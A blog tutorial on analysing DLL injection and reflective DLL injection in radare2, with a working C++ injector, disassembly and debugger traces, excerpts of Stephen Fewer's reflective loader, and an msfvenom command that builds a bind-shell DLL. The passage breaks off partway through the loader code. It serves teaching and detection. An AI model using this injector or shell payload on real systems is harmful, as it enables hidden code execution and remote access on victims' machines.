Malware analysis with IDA/Radare2 - DLL Injection techniques, the fundamentals

Malware analysis with IDA/Radare2 - DLL Injection techniques, the fundamentals

In today’s part of the series on malware analysis with radare2, we’ll start checking some basic code injection techniques, used by malware to evade anti-virus software. We will start with the very basics, seeing stuff like DLL injection / reflective DLL injection. Techniques not commonly used nowadays but useful to understand the underlying processes and techniques used by attackers. Feel free to skip this one if you are a pro.

Very basic DLL Injection

According to Wikipedia:

DLL injection is a technique used for running code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by external programs to influence the behavior of another program in a way its authors did not anticipate or intend. For example, the injected code could hook system function calls, or read the contents of password textboxes, which cannot be done the usual way. A program used to inject arbitrary code into arbitrary processes is called a DLL injector.

In plain terms, when using DLL injection an attacker will have a malicious program in the form of a DLL that will want to get executed in the target system, why that instead of just running it? Because EDR and overall security systems will perform checks on the program before allowing it to fully run, those checks may include signature checks against the binary to detect malicious / identified patterns and/or checking for malicious known actions, hooking api calls among many other detection techniques. But what if the malicious code gets executed inside the process of a prrogram that has been already checked? Then the attacker skips that, getting execution easily. That can be done in many many many ways, one of the easiest ones being the “remote” embedding of a DLL, using what’s called DLL injection.

A dynamic-link library (DLL) is the Microsoft’s implementation of the shared library concept in the Microsoft Windows and OS/2 operating systems. These libraries usually have the file extension DLL, OCX (for libraries containing ActiveX controls), or DRV (for legacy system drivers). The file formats for DLLs are the same as for Windows EXE files, that is, Portable Executable (PE) for 32-bit and 64-bit Windows, and New Executable (NE) for 16-bit Windows. As with EXEs, DLLs can contain code, data, and resources, in any combination. In general terms, for us, a DLL will be a set of functions related to a certain common general task (ie: doing advanced math operations) potential to be done by many different programs, the code re-use of a DLL facilitates the development of software. In our case a DLL will contain code, resources and a list of imported functions, that is functions requiered for the DLL’s code to work as well as a list of exported functions, that is, functions to be used (offered) by other software.

An example of a “hello world” DLL can be found below:

#include "main.h"

// a sample exported function
void DLL_EXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBoxA(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    switch (fdwReason)
    {
        case DLL_PROCESS_ATTACH:
            // attach to process
            // return FALSE to fail DLL load
            MessageBoxA(0, "dummy text", "DLL Message: ATTACH!", MB_OK | MB_ICONINFORMATION);
            break;

        case DLL_PROCESS_DETACH:
            // detach from process
            break;

        case DLL_THREAD_ATTACH:
            // attach to thread
            break;

        case DLL_THREAD_DETACH:
            // detach from thread
            break;
    }
    return TRUE; // succesful
}

In this particular case, if a program makes use of this DLL by loading it (ie: calling LoadLibrary, compiling the project including the library etc) it will be able to call “SomeFunction” as it will be on the exports. At the same time, the DLL will import MessageBox. We also see the DllMain code, that is the first call to be executed once that library gets into play in any form. We see that it displays a message box once it gets attached to a process, that is exactly what we want. The code after the case DLL_PROCESS_ATTACH will be executed once the library is included (by loadlibrary in the following example) in the process. So, if we are able to make a process call LoadLibraryA on this DLL, the MessageBox(“dummytext”) will be automatically executed.

And that is when the first and most basic form of DLL injection comes into play:

#include <iostream>
#include <Windows.h>

using namespace std;

int main()
{
	LPCSTR DllPath = "C:\\Users\\lab\\Documents\\projects\\DLLINJECT1\\dummydll.dll"; // The Path to our DLL

	HWND hwnd = FindWindowA(NULL, "DummyWindow1"); // HWND (Windows window) by Window Name
	DWORD procID; // A 32-bit unsigned integer, DWORDS are mostly used to store Hexadecimal Addresses
	GetWindowThreadProcessId(hwnd, &procID); // Getting our Process ID, as an ex. like 000027AC
	HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); // Opening the Process with All Access

	// Allocate memory for the dllpath in the target process, length of the path string + null terminator
	LPVOID pDllPath = VirtualAllocEx(handle, 0, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

	// Write the path to the address of the memory we just allocated in the target process
	WriteProcessMemory(handle, pDllPath, (LPVOID)DllPath, strlen(DllPath) + 1, 0);

	// Create a Remote Thread in the target process which calls LoadLibraryA as our dllpath as an argument -> program loads our dll
	HANDLE hLoadThread = CreateRemoteThread(handle, 0, 0,
	(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"), pDllPath, 0, 0);

	WaitForSingleObject(hLoadThread, INFINITE); // Wait for the execution of our loader thread to finish

	cout << "Dll path allocated at: " << hex << pDllPath << endl;
	cin.get();

	VirtualFreeEx(handle, pDllPath, strlen(DllPath) + 1, MEM_RELEASE); // Free the memory allocated for our dll path

	return 0;
}

The process for basic DLL injection is simple:

  • First the attacker places the “evil” DLL on disk
  • Then it opens a target process, getting a handle to it
  • Then it calls VirtualAllocEx to allocate a chunk of memory in the remote process the size of the DllPath (+1 to NULL terminate)
  • Then it writes the path to that DLL there
  • Then it starts a new thread on that process calling LoadLibraryA, using the written DLL path as the parameter

To get LoadLibraryA to run in the remote thread, we need to resolve its address, that is why we use GetProceAddress and as it is part of the kernel32 DLL, we will first get a handle to it. This can be understood in a clearer way in the minute 8:00 of Debasish Mandal’s tutorial as he is explaining the technique using a simple Python script.

So, after that, boom, a MessageBox. Then the program will unload the whole thing and back to normal. How will it look from a reversing point of view?

Let’s check that in radare2:

[0x00401550]> pdf
            ;-- main:
            ; CALL XREF from sym.__tmainCRTStartup @ 0x4013c2
/ 465: dbg.main (int64_t arg1);
|           ; var DWORD procID @ rbp-0x2c
|           ; var HANDLE hLoadThread @ rbp-0x28
|           ; var LPVOID pDllPath @ rbp-0x20
|           ; var HANDLE handle @ rbp-0x18
|           ; var HWND hwnd @ rbp-0x10
|           ; var LPCSTR DllPath @ rbp-0x8
|           ; var char *var_20h @ rsp+0x20
|           ; var int64_t var_28h @ rsp+0x28
|           ; var char *var_30h @ rsp+0x30
|           ; arg int64_t arg1 @ rdi
|           0x00401550      55             push rbp                    ; int main();
|           0x00401551      4889e5         mov rbp, rsp
|           0x00401554      4883ec70       sub rsp, 0x70
|           0x00401558      e833030000     call sym.__main
|           0x0040155d      488d05a43a00.  lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
|           0x00401564      488945f8       mov qword [DllPath], rax
|           0x00401568      488d15d13a00.  lea rdx, str.DummyWindow1   ; 0x405040 ; "DummyWindow1"
|           0x0040156f      b900000000     mov ecx, 0
|           0x00401574      488b05f97e00.  mov rax, qword [sym.imp.USER32.dll_FindWindowA] ; [0x409474:8]=0x9892 reloc.USER32.dll_FindWindowA
|           0x0040157b      ffd0           call rax
|           0x0040157d      488945f0       mov qword [hwnd], rax
|           0x00401581      488d45d4       lea rax, [procID]
|           0x00401585      488b4df0       mov rcx, qword [hwnd]
|           0x00401589      4889c2         mov rdx, rax
|           0x0040158c      488b05e97e00.  mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x98a0 reloc.USER32.dll_GetWindowThreadProcessId
|           0x00401593      ffd0           call rax
|           0x00401595      8b45d4         mov eax, dword [procID]
|           0x00401598      4189c0         mov r8d, eax
|           0x0040159b      ba00000000     mov edx, 0
|           0x004015a0      b9ff0f1f00     mov ecx, 0x1f0fff
|           0x004015a5      488b05687d00.  mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x9610 reloc.KERNEL32.dll_OpenProcess
|           0x004015ac      ffd0           call rax
|           0x004015ae      488945e8       mov qword [handle], rax
|           0x004015b2      488b45f8       mov rax, qword [DllPath]
|           0x004015b6      4889c1         mov rcx, rax
|           0x004015b9      e8f2160000     call sym.strlen
|           0x004015be      488d5001       lea rdx, [rax + 1]
|           0x004015c2      488b45e8       mov rax, qword [handle]
|           0x004015c6      c74424200400.  mov dword [var_20h], 4
|           0x004015ce      41b900100000   mov r9d, 0x1000
|           0x004015d4      4989d0         mov r8, rdx
|           0x004015d7      ba00000000     mov edx, 0
|           0x004015dc      4889c1         mov rcx, rax
|           0x004015df      488b05867d00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x96f4 reloc.KERNEL32.dll_VirtualAllocEx
|           0x004015e6      ffd0           call rax
|           0x004015e8      488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]
|           0x004015f0      4889c1         mov rcx, rax
|           0x004015f3      e8b8160000     call sym.strlen
|           0x004015f8      4c8d4001       lea r8, [rax + 1]
|           0x004015fc      488b4df8       mov rcx, qword [DllPath]
|           0x00401600      488b55e0       mov rdx, qword [pDllPath]
|           0x00401604      488b45e8       mov rax, qword [handle]
|           0x00401608      48c744242000.  mov qword [var_20h], 0
|           0x00401611      4d89c1         mov r9, r8
|           0x00401614      4989c8         mov r8, rcx
|           0x00401617      4889c1         mov rcx, rax
|           0x0040161a      488b05737d00.  mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x974e reloc.KERNEL32.dll_WriteProcessMemory ; "N\x97"
|           0x00401621      ffd0           call rax
|           0x00401623      488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"
|           0x0040162a      488b05ab7c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x957a reloc.KERNEL32.dll_GetModuleHandleA ; "z\x95"
|           0x00401631      ffd0           call rax
|           0x00401633      488d15203a00.  lea rdx, str.LoadLibraryA   ; 0x40505a ; "LoadLibraryA"
|           0x0040163a      4889c1         mov rcx, rax
|           0x0040163d      488b05a07c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x958e reloc.KERNEL32.dll_GetProcAddress
|           0x00401644      ffd0           call rax
|           0x00401646      4889c1         mov rcx, rax
|           0x00401649      488b45e8       mov rax, qword [handle]
|           0x0040164d      48c744243000.  mov qword [var_30h], 0
|           0x00401656      c74424280000.  mov dword [var_28h], 0
|           0x0040165e      488b55e0       mov rdx, qword [pDllPath]
|           0x00401662      4889542420     mov qword [var_20h], rdx
|           0x00401667      4989c9         mov r9, rcx
|           0x0040166a      41b800000000   mov r8d, 0
|           0x00401670      ba00000000     mov edx, 0
|           0x00401675      4889c1         mov rcx, rax
|           0x00401678      488b05257c00.  mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x94e4 reloc.KERNEL32.dll_CreateRemoteThread
|           0x0040167f      ffd0           call rax
|           0x00401681      488945d8       mov qword [hLoadThread], rax
|           0x00401685      488b45d8       mov rax, qword [hLoadThread]
|           0x00401689      baffffffff     mov edx, 0xffffffff         ; -1
|           0x0040168e      4889c1         mov rcx, rax
|           0x00401691      488b05f47c00.  mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject] ; [0x40938c:8]=0x9738 reloc.KERNEL32.dll_WaitForSingleObject ; "8\x97"
|           0x00401698      ffd0           call rax
|           0x0040169a      488d15c63900.  lea rdx, str.Dll_path_allocated_at:_ ; 0x405067 ; "Dll path allocated at: "
|           0x004016a1      488b0df83c00.  mov rcx, qword [0x004053a0] ; [0x4053a0:8]=0x4094c4 sym.imp.libstdc_6.dll_std::cout
|           0x004016a8      e8f3000000     call sym std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*) ; sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
|           0x004016ad      4889c1         mov rcx, rax
|           0x004016b0      488d05891800.  lea rax, [dbg.std::hex(std::ios_base&)] ; dbg.std::hex_std::ios_base_
|                                                                      ; 0x402f40
|           0x004016b7      4889c2         mov rdx, rax
|           0x004016ba      e809010000     call sym std::ostream::operator<<(std::ios_base& (*)(std::ios_base&)) ; sym.std::ostream::operator___std::ios_base____std::ios_base__
|           0x004016bf      4889c1         mov rcx, rax
|           0x004016c2      488b45e0       mov rax, qword [pDllPath]
|           0x004016c6      4889c2         mov rdx, rax
|           0x004016c9      e8f2000000     call sym std::ostream::operator<<(void const*) ; sym.std::ostream::operator___void_const_
|           0x004016ce      488b15db3c00.  mov rdx, qword [0x004053b0] ; [0x4053b0:8]=0x4017a8
|           0x004016d5      4889c1         mov rcx, rax
|           0x004016d8      e8f3000000     call sym std::ostream::operator<<(std::ostream& (*)(std::ostream&)) ; sym.std::ostream::operator___std::ostream____std::ostream__
|           0x004016dd      488b0dac3c00.  mov rcx, qword [0x00405390] ; [0x405390:8]=0x4094bc sym.imp.libstdc_6.dll_std::cin
|           0x004016e4      e8ef000000     call fcn.004017d8
|           0x004016e9      488b45f8       mov rax, qword [DllPath]
|           0x004016ed      4889c1         mov rcx, rax
|           0x004016f0      e8bb150000     call sym.strlen
|           0x004016f5      488d4801       lea rcx, [rax + 1]
|           0x004016f9      488b55e0       mov rdx, qword [pDllPath]
|           0x004016fd      488b45e8       mov rax, qword [handle]
|           0x00401701      41b900800000   mov r9d, 0x8000
|           0x00401707      4989c8         mov r8, rcx
|           0x0040170a      4889c1         mov rcx, rax
|           0x0040170d      488b05607c00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx] ; [0x409374:8]=0x9706 reloc.KERNEL32.dll_VirtualFreeEx
|           0x00401714      ffd0           call rax
|           0x00401716      b800000000     mov eax, 0
|           0x0040171b      4883c470       add rsp, 0x70
|           0x0040171f      5d             pop rbp
\           0x00401720      c3             ret
[0x00401550]>

So this one is super easy to detect in a binary (that is why it is almost not being used anymore). Basically we will find a chain of VirtualAllocEx, WriteProcessMemory, GetProcAddress/LoadLibraryA and then a CreateRemoteThread. Though the path to the DLL may be obfuscated, those ones one after the other inside a suspicious file represent a very clear red flag and indeed are easily detected by EDR software.

From a debugging point of view, we see that first the DLL path is loaded:

hit breakpoint at: 0x40155d
[0x0040155d]> pd 10
|           ;-- rip:
|           0x0040155d b    488d05a43a00.  lea rax, str.C:UserslabDocumentsprojectsDLLINJECT1dummydll.dll ; 0x405008 ; "C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll"
|           0x00401564      488945f8       mov qword [DllPath], rax

Then in this case, the Window id related to the process we want to inject in is retrieved:

|           0x0040157b b    ffd0           call rax
|           0x0040157d b    488945f0       mov qword [hwnd], rax
|           0x00401581      488d45d4       lea rax, [procID]
|           0x00401585      488b4df0       mov rcx, qword [hwnd]
|           0x00401589      4889c2         mov rdx, rax
[0x0040155d]> dc
hit breakpoint at: 0x40157d
[0x0040155d]> dr rax
0x000807ba
[0x0040155d]>

Then the process id:

|           0x0040158c      488b05e97e00.  mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId] ; [0x40947c:8]=0x7ffe66b33500
|           0x00401593      ffd0           call rax
|           ;-- rip:
|           0x00401595 b    8b45d4         mov eax, dword [procID]
|           0x00401598      4189c0         mov r8d, eax
|           0x0040159b      ba00000000     mov edx, 0

Then the process handle:

|           0x004015a0      b9ff0f1f00     mov ecx, 0x1f0fff
|           0x004015a5      488b05687d00.  mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess] ; [0x409314:8]=0x7ffe6660ade0
|           0x004015ac      ffd0           call rax
|           0x004015ae      488945e8       mov qword [handle], rax

And we alloc some space:

|           0x004015dc      4889c1         mov rcx, rax
|           0x004015df      488b05867d00.  mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx] ; [0x40936c:8]=0x7ffe6662ca20 ; " \xcabf\xfe\x7f"
|           0x004015e6      ffd0           call rax
|           ;-- rip:
|           0x004015e8 b    488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]

[0x004015ae]> dr rax
0x020c0000
[0x004015ae]>

If we check that on the remote process by attaching a debugger session to it (r2 -d) we see that initially, it is all 0’s

[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0010  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0020  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0030  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0040  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0050  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0060  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0070  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0080  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c0090  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c00a0  0x00000000 0x00000000 0x00000000 0x00000000  ................
0x020c00b0  0x00000000 0x00000000 0x00000000 0x00000000  ................

Then WriteProcessMemory gets called:

|           0x004015e8 b    488945e0       mov qword [pDllPath], rax
|           0x004015ec      488b45f8       mov rax, qword [DllPath]
|           0x004015f0      4889c1         mov rcx, rax
|           0x004015f3      e8b8160000     call sym.strlen
|           0x004015f8      4c8d4001       lea r8, [rax + 1]
|           0x004015fc      488b4df8       mov rcx, qword [DllPath]
|           0x00401600      488b55e0       mov rdx, qword [pDllPath]
|           0x00401604      488b45e8       mov rax, qword [handle]
|           0x00401608      48c744242000.  mov qword [var_20h], 0
|           0x00401611      4d89c1         mov r9, r8
|           0x00401614      4989c8         mov r8, rcx
|           0x00401617      4889c1         mov rcx, rax
|           0x0040161a      488b05737d00.  mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory] ; [0x409394:8]=0x7ffe6662cc80
|           0x00401621      ffd0           call rax
|           0x00401623      488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"

And if we go check again, we see the path of the DLL in there:

[0x7ffe65231104]> pxw @ 0x020c0000
0x020c0000  0x555c3a43 0x73726573 0x62616c5c 0x636f445c  C:\Users\lab\Doc
0x020c0010  0x6e656d75 0x705c7374 0x656a6f72 0x5c737463  uments\projects\
0x020c0020  0x494c4c44 0x43454a4e 0x645c3154 0x796d6d75  DLLINJECT1\dummy
0x020c0030  0x2e6c6c64 0x006c6c64 0x00000000 0x00000000  dll.dll.........
0x020c0040  0x00000000 0x00000000 0x00000000 0x00000000  ................

Now we resolve the base of kernel32 and then LoadLibraryA:

[0x00401623]> pd 20
|           ;-- rip:
|           0x00401623 b    488d0d233a00.  lea rcx, str.Kernel32.dll   ; 0x40504d ; "Kernel32.dll"
|           0x0040162a      488b05ab7c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA] ; [0x4092dc:8]=0x7ffe6660f0b0
|           0x00401631      ffd0           call rax
|           0x00401633      488d15203a00.  lea rdx, str.LoadLibraryA   ; 0x40505a ; "LoadLibraryA"
|           0x0040163a      4889c1         mov rcx, rax
|           0x0040163d      488b05a07c00.  mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress] ; [0x4092e4:8]=0x7ffe6660aec0

[0x00401623]> dr rax
0x7ffe666104f0

And with that, CreateRemoteThread gets called:

 0x00401646 b    4889c1         mov rcx, rax
|           0x00401649      488b45e8       mov rax, qword [handle]
|           0x0040164d      48c744243000.  mov qword [var_30h], 0
|           0x00401656      c74424280000.  mov dword [var_28h], 0
|           0x0040165e      488b55e0       mov rdx, qword [pDllPath]
|           0x00401662      4889542420     mov qword [var_20h], rdx
|           0x00401667      4989c9         mov r9, rcx
|           0x0040166a      41b800000000   mov r8d, 0
|           0x00401670      ba00000000     mov edx, 0
|           0x00401675      4889c1         mov rcx, rax
|           0x00401678      488b05257c00.  mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread] ; [0x4092a4:8]=0x7ffe6662ab20 ; " \xabbf\xfe\x7f"
|           0x0040167f      ffd0           call rax

Now if we go back to the victim process and check on the loaded libraries we will see a new one inside:

[0x7ffe672b0861]> dmi
0x00400000 0x00418000  C:\Users\lab\Desktop\DUMMYWINDOW.exe
0x7ffe67210000 0x7ffe67405000  C:\Windows\SYSTEM32\ntdll.dll
0x7ffe665f0000 0x7ffe666ae000  C:\Windows\System32\KERNEL32.DLL
0x7ffe64990000 0x7ffe64c59000  C:\Windows\System32\KERNELBASE.dll
0x7ffe664b0000 0x7ffe6654e000  C:\Windows\System32\msvcrt.dll
0x7ffe66b30000 0x7ffe66cd1000  C:\Windows\System32\USER32.dll
0x7ffe65230000 0x7ffe65252000  C:\Windows\System32\win32u.dll
0x7ffe666b0000 0x7ffe666db000  C:\Windows\System32\GDI32.dll
0x7ffe64ec0000 0x7ffe64fcb000  C:\Windows\System32\gdi32full.dll
0x7ffe64cf0000 0x7ffe64d8d000  C:\Windows\System32\msvcp_win.dll
0x7ffe64d90000 0x7ffe64e90000  C:\Windows\System32\ucrtbase.dll
0x7ffe665c0000 0x7ffe665f0000  C:\Windows\System32\IMM32.DLL
0x7ffe62300000 0x7ffe6239e000  C:\Windows\system32\uxtheme.dll
0x7ffe66750000 0x7ffe66aa5000  C:\Windows\System32\combase.dll
0x7ffe66e20000 0x7ffe66f4a000  C:\Windows\System32\RPCRT4.dll
0x7ffe653c0000 0x7ffe654d5000  C:\Windows\System32\MSCTF.dll
0x7ffe66f50000 0x7ffe6701d000  C:\Windows\System32\OLEAUT32.dll
0x7ffe66410000 0x7ffe664ab000  C:\Windows\System32\sechost.dll
0x7ffe62830000 0x7ffe62842000  C:\Windows\SYSTEM32\kernel.appcore.dll
0x7ffe64c60000 0x7ffe64ce3000  C:\Windows\System32\bcryptPrimitives.dll
0x7ffe590a0000 0x7ffe59199000  C:\Windows\SYSTEM32\textinputframework.dll
0x7ffe61cb0000 0x7ffe6200e000  C:\Windows\System32\CoreUIComponents.dll
0x7ffe654e0000 0x7ffe6558d000  C:\Windows\System32\SHCORE.dll
0x7ffe65d40000 0x7ffe65dec000  C:\Windows\System32\advapi32.dll
0x7ffe62010000 0x7ffe62102000  C:\Windows\System32\CoreMessaging.dll
0x7ffe666e0000 0x7ffe6674b000  C:\Windows\System32\WS2_32.dll
0x7ffe63750000 0x7ffe63783000  C:\Windows\SYSTEM32\ntmarta.dll
0x7ffe615e0000 0x7ffe61734000  C:\Windows\SYSTEM32\wintypes.dll
0x7ffe66cf0000 0x7ffe66e1a000  C:\Windows\System32\ole32.dll
0x7ffe65df0000 0x7ffe65e99000  C:\Windows\System32\clbcatq.dll

0x66800000 0x6681a000  C:\Users\lab\Documents\projects\DLLINJECT1\dummydll.dll

0x7ffe54ea0000 0x7ffe54f4c000  C:\Windows\SYSTEM32\TextShaping.dll
[0x7ffe672b0861]>

And that’s it, a MessageBox will prompt on the screen!

Generating an evil DLL with msfvenom

But are we injecting DummyDLL on the victim? Well, we can either port our malware to the DLL format by doing minor changes to it, or we can even use the metasploit framework in our pentests to generate evil DLL’s ready to be injected using this technique using the following command:

┌──(lab㉿kali)-[~]
└─$ msfvenom -p windows/shell/bind_tcp LHOST=0.0.0.0 LPORT=8081 -f dll >  ./bindshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of dll file: 8704 bytes

Then we can simple edit the code previously shown and we are good to go.

Reflective dll

So the main problem with that previous method is that the attacker needs to actually place the malicious DLL on disk, then inject it. Many modern EDR software will detect the file after it gets dropped, also, an incident response team will easily find that evil artifact on the course of a forensical examination. To solve that, Stephen Fewer came up more than ten years ago with a technique called reflective dll injection where the evil DLL is never written on disk, instead it is either decoded from the memory of the malware, downloaded from the internet (from the C2) “on the fly” etc, but it never touches disk, then it is injected and self-loaded on the target process. It is a form of fileless malware to call it in some way, and it can be found in Mitre as T1620. This technique though it can be detected, has some advantadges. As the attacker loads the DLL in a “non-official way” that is without making use of a specific api call for that, the injected DLL won’t get registered, evading some detection mechanisms.

To summarize:

Reflective DLL loading refers to loading a DLL from memory rather than from disk.

Windows doesn’t have a LoadLibrary function that supports this, so to get the functionality you have to write your own, omitting some of the things Windows normally does, such as registering the DLL as a loaded module in the process, potentially bypassing DLL load monitoring.

The process of reflective DLL injection is as follows:

  • Open target process with read-write-execute permissions and allocate memory large enough for the whole DLL to be injected.
  • Copy the raw bytes of the DLL into the allocated memory space.
  • Calculate the memory offset within the DLL to the export used for doing reflective loading.
  • Call CreateRemoteThread (or an equivalent undocumented API function like RtlCreateUserThread) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.
  • The reflective loader function finds the Process Environment Block of the target process using the appropriate CPU register, and uses that to find the address in memory of kernel32.dll and any other required libraries. More about resolving kernel32 here
  • Parse the exports directory of kernel32 to find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.
  • Use these functions to then properly load the DLL (itself) into memory and call its entry point, DllMain.

The whole code that we will be using to study how can we detect a reflective DLL injection is the original one from Mr. Fewer

Static analysis

So first of all, a potential injector will access a DLL to be injected, that may come in the form of a file on disk (unusual, but used for the example), downloaded bytes or inside the binary in the resources section for example:

if( argc == 1 )
			dwProcessId = GetCurrentProcessId();
		else
			dwProcessId = atoi( argv[1] );

		if( argc >= 3 )
			cpDllFile = argv[2];

		hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( hFile == INVALID_HANDLE_VALUE )
			BREAK_WITH_ERROR( "Failed to open the DLL file" );

		dwLength = GetFileSize( hFile, NULL );
		if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
		if( !lpBuffer )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
			BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

So we see how the path string is loaded in here:

ref1

ref2

A handle to the file is opened:

ref3

And the bytes are read: ref4

After that the attacker opens the victim process, getting a handle to it, then it will call LoadRemoteLibraryR, that is a custom function in charge of writting in the raw bytes of the DLL inside the remote process and passing its execution to the reflectiveloader:

if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
		if( !hProcess )
			BREAK_WITH_ERROR( "Failed to open the target process" );

		hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
		if( !hModule )
			BREAK_WITH_ERROR( "Failed to inject the DLL" );

		printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
		
		WaitForSingleObject( hModule, -1 );

So we see the handle to the process being retrieved: ref5

ref6

And then passed to a function, we can identify as the injector: ref7

THen we see a combination of VirtualAllocEx, WriteProcessMemory and CreateRemoteThread that should trigger an alert:

do
		{
			if( !hProcess  || !lpBuffer || !dwLength )
				break;

			// check if the library has a ReflectiveLoader...
			dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
			if( !dwReflectiveLoaderOffset )
				break;

			// alloc memory (RWX) in the host process for the image...
			lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 
			if( !lpRemoteLibraryBuffer )
				break;

			// write the image into the host process...
			if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
				break;
			
			// add the offset to ReflectiveLoader() to the remote library address...
			lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );

			// create a remote thread in the host process to call the ReflectiveLoader!
			hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );

		} while( 0 );

The GetRflctivLoadr call will parse the exports of the DLL to be injected to check for “ReflectiveLoader”

In radare2 or our reversing tool of choice that can be detectd easily:

ref8

ref9

After the call to CreateRemoteThread referencing the ReflectiveLoader, the execution is passed to the code of the DLL.

The reflectiveloader is a position-independent code, that is, a code that can be executed no matter where it is located as it is not making any references to specific locations in memory lik api-calls, this is pretty common in shellcode, for example, when working with exploits. The loader will resolve everything it needs for execution “on the fly”.

So, first of all, it will check itself to be a valid executable, by chcking for the “MZ”.

while( TRUE )
	{
		if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
		{
			uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
			// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
			if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
			{
				uiHeaderValue += uiLibraryAddress;
				// break if we have found a valid MZ/PE header
				if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
					break;
			}
		}
		uiLibraryAddress--;
	}

Then it will resolve the needed libraries first:

while( uiValueA )
	{
		// get pointer to current modules name (unicode string)
		uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
		// set bCounter to the length for the loop
